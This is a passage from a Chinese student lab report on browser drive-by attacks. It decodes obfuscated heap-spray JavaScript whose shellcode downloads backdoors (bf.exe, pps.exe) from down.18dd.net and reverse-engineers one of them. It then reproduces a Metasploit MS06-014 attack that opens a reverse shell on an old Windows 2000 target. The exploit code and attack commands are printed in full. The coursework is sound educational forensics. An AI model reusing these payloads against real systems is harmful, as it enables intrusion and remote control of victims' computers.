- 因此,我们通过对URL中的固定斜杠符号"/"(其十六进制ASCII码为2F)进行定位,在shellcode中发现了四处可疑的2F出现位置。其中第三和第四个2F出现得较为密集,因此提取从第三个2F开始到末尾的数据片段7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000
- 对上述片段进行解码,可以得到,这段数据转换为一个完整的URL: http://down.18dd.net/bb/bf.exe 。分析表明,该shellcode的功能是从这个URL地址下载一个名为bf.exe的可执行文件。即恶意代码试图从指定网址获取并执行bf.exe程序
- 接下来记事本打开哈希文件 5f0b8bf0385314dbe0e5ec95e6abedc2,内容为一个包含大量 \xxx 转义序列的字符串,它构造并执行了一段 JavaScript 代码,其中又包含多层十六进制/Unicode 转义。同样对其进行字符串转换,得到如下结果:
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer
- 在此文件中也发现有shellcode代码,同样的寻找URL的特征字符2f(即/),进行解密得 http://down.18dd.net/bb/pps.exe ,计算其md5值为
ff59b3b8961f502289c1b4df8c37e2a4
![image]()
八进制和十六进制作用一致,都是代码混淆手段,不同加密格式交替使用,增加取证解密步骤,底层逻辑和 b.js 完全相同,都是嵌入 shellcode 下载第三方后门程序 pps.exe。 - 打开哈希文件 1c1d7b3539a617517c49eee4120783b2,文件为bd.cab压缩包
- 至此,上述分析我们可以得到四个可执行文件:014.exe,bf.exe,pps.exe,bd.exe,且我们发现这四个文件在资源管理器中显示出同样的大小。分别计算文件的md5值——
(由于尝试双击打开bd.cab文件,但系统总是闪退,且无法使用普通的 expand 命令解压。因此先计算其他三个文件的md5值)
![image]()
其中两个文件的结果均为1290ecd734d68d52318ea9016dc6fe63,由于md5sum 是哈希校验命令,用来验证文件一致性,不同名称的 exe 哈希相同,说明是同一个后门程序,只是通过不同漏洞脚本下载,只需要逆向分析其中任意一个就能掌握全部恶意行为,不用重复逆向四个文件,节省取证分析时间。 - 我们选取pps.exe文件,由于IDA 是二进制程序逆向核心工具,我们使用该工具,将pps.exe导入 IDA Pro 静态反汇编工具
![image]()
- 我们切换 Strings 字符串窗口查看外联下载地址列表。Strings 功能一键提取程序内所有明文 URL、注册表路径、系统 API。
![image]()
在其中可见其下载了多个可执行文件 - 打开程序流程图查看汇编指令,检索 dword 关键词,定位注册表增删改相关操作。
dword 是 Windows 注册表操作的基础数据类型,检索该关键词可以快速定位木马修改、删除系统注册表项的恶意逻辑,注册表操作一般用于实现开机自启动、权限持久化,完整还原后门驻留系统的攻击行为。
![image]()
可以得到其对注册表有修改和删除。 - 至此所有脚本、文件全部分析完毕,溯源流程完成。
5.3攻防对抗实践—web浏览器渗透攻击攻防
-
首先在Kali 终端输入
msfconsole启动 Metasploit 渗透框架
![image]()
-
执行
search ms06-014检索漏洞模块
![image]()
截图里仅返回 0 号模块 exploit/windows/browser/ie_createobject,该模块评级 excellent,代表漏洞利用成功率高,是本次实验核心攻击模块 -
执行
use 0加载 0 号漏洞模块
use 指令后跟模块编号 / 完整路径,作用是切换当前工作环境到 MS06-014 漏洞利用脚本,控制台前缀会同步更新模块路径,所有后续载荷、IP 配置都会作用在这个漏洞上。
![image]()
-
补充:use 指令后跟模块编号 / 完整路径的区别——例如序号写法use 0,必须是在 search MS06-014 之后使用,0 对应列表里第 0 个模块,而全称写法:直接指定模块的完整路径。
-
后续步骤和任务一类似——执行
show payloads查看当前模块全部兼容载荷、执行set payload generic/shell_reverse_tcp设置后门类型、执行set LHOST 192.168.188.10配置攻击机监听 IP
payload 是漏洞触发后在靶机运行的后门程序,show payloads 会列出所有适配后门;对抗实验选用 generic/shell_reverse_tcp 通用反向 shell,原理是反向连接由靶机主动向外连攻击机,Windows 靶机默认防火墙不会拦截出站流量,对比正向 shell 更适配虚拟机内网对抗环境,不容易出现连接失败。set 是 MSF 参数配置指令,这条命令指定漏洞利用成功后,靶机主动发起 TCP 反向命令行通道,攻防对抗场景下,反向 shell 隐蔽性更强,防守方很难通过入站端口拦截阻断通信
![image]()
-
执行
exploit启动攻击服务
![image]()
exploit 是执行漏洞利用核心指令,执行后同步完成三件工作:第一,在攻击机 8080 端口开启临时 Web 服务,存放混淆后的恶意网页木马;第二,在 4444 端口启动 TCP 监听程序,等待靶机建立后门会话;第三,随机生成唯一网页访问路径,拼接攻击机 IP 生成恶意钓鱼 URL http://192.168.188.10:8080/i8uMM9Ufw
这个链接就是后续钓鱼邮件投递的攻击载体,服务默认监听 0.0.0.0 全网地址,同网段任意虚拟机都能访问。执行初期提示无会话,只是代表暂时没有靶机访问链接,后台 Web 和监听服务已经正常运行。 -
在win2kserver靶机 IE 浏览器输入恶意 URL 访问页面
![image]()
模拟普通用户点击钓鱼邮件里的恶意链接,老旧未打补丁 IE 加载页面内的漏洞 JS 代码,页面展示一串随机乱码字符 TdYEEVJwe,乱码是漏洞脚本执行时页面无渲染输出,不影响后台漏洞触发逻辑;浏览器后台会自动向 Kali 服务器请求漏洞 HTML、EXE 后门程序。 -
攻击机日志自动打印靶机连接记录,生成 1 号受控会话
![image]()
靶机完整加载漏洞网页、下载执行 payload 后门程序后,自动主动连接攻击机 4444 监听端口,双向 TCP 通信通道建立,MSF 生成 session 1 受控会话,代表攻击方完成权限获取,此时攻击机可以远程执行 Windows 系统命令,实现对靶机完全控制 -
右键恶意网页查看源代码,源码存在大量空白换行混淆字符
![image]()
攻击方 MSF 自动生成的网页默认填充大量空白、换行符做代码混淆,混淆目的是简单网页查杀工具只匹配明文漏洞特征,空白字符会打乱特征码匹配规则,绕过基础静态检测,这也是攻防对抗里攻击方基础免杀手段,肉眼直接看源码无法快速识别漏洞相关关键代码。 -
使用在线 HTML 格式化工具,还原规整原始攻击代码
![image]()
格式化后能清晰看到 document.location 加载后门 payload、临时目录生成 CaxNbFUbi.exe 可执行后门程序的逻辑。 -
打开 Windows 任务管理器,找到后门程序 CaxNbFUbi.exe 进程
![image]()
漏洞触发成功后,脚本会把 payload 后门下载到系统临时目录并自动运行,任务管理器里的该 exe 程序就是维持攻击机和靶机远程通信的进程,进程存在代表漏洞利用成功、主机已失陷,防守方可通过结束该进程临时切断攻击连接,直观验证恶意代码执行效果。 -
防守溯源漏洞:提取格式化代码内全部 clsid 控件标识数组
![image]()
代码内数组存储了多组 ActiveX 控件唯一 CLSID 编号,其中 BD96C556-65A3-11D0-983A-00C04FC29E36 就是 MS06-014 漏洞专属控件标识,其余编号对应多款播放器、工具栏浏览器漏洞,满足实验要求的两个及以上不同浏览器漏洞挂载;通过匹配 CLSID 编号就能直接判定攻击利用的漏洞型号,完成漏洞溯源研判。这段代码用了变量名混淆、字符串拆分、数组存储 CLSID 等方式,和公开的 MS06-014 网马变种完全一致,目的就是绕过杀毒软件的特征码检测。
六、实验过程中遇到的问题及解决
- 1.查看kali虚拟机IP地址时,没有IP地址的显示
![image]()
问题解决:
首先启用 eth0 网卡ip link set eth0 up
![image]()
然后发现网卡 UP 只是 “物理上开启了”,但还没通过 DHCP 服务器拿到 IP 地址。就像电脑插了网线,但没连上网,需要手动获取 IP。
在终端执行下面这条命令,让系统主动向路由器 / 虚拟机 DHCP 服务器请求 IP:dhclient eth0
执行完再运行ip addr或ifconfig,就能看到 eth0 下面出现 IPv4 地址了。
![image]()
七、学习收获及感想
- 做完本次网络攻防实验的三个任务,我最大的感受就是整套挂马攻防流程和思路是完全打通的,三个任务并不独立,全都围绕18dd.net网页挂马、IE 老旧控件漏洞展开,真切看到老旧 Windows2000 系统,只要点开恶意链接就会被直接控权,远程随意执行电脑命令,漏洞的危害远比理论知识上讲的更直观。
- 任务二的木马取证是本次最繁琐也最有收获的环节,全程都是重复找外链、算 MD5、解密、脱壳、逆向的流程,一开始我觉得任务二很难很麻烦,后面才弄懂浏览器打开 exe、js 文件提示网页解析失败,并不是链接失效,只是文件本身不是网页,不用浏览器打开,直接打开解密即可。同时我也看懂攻击者的套路,会放正常流量代码混淆视线,用 Base64、Packed 多层加密藏恶意代码,还准备四个不同漏洞脚本兜底适配不同电脑,四个木马程序后缀不一样,但后台文件完全一致,攻击者只是换了下载渠道而已。
- 最后我也明白,这类网页挂马只能攻击没有打补丁的老旧系统和老旧 IE 浏览器,新版系统防护基本可以拦截。本次实践也让我懂得了,日常使用电脑,不点陌生链接、不随意放行浏览器控件、更新系统补丁等方式,以避开此类网页挂马攻击。




















































浙公网安备 33010602011771号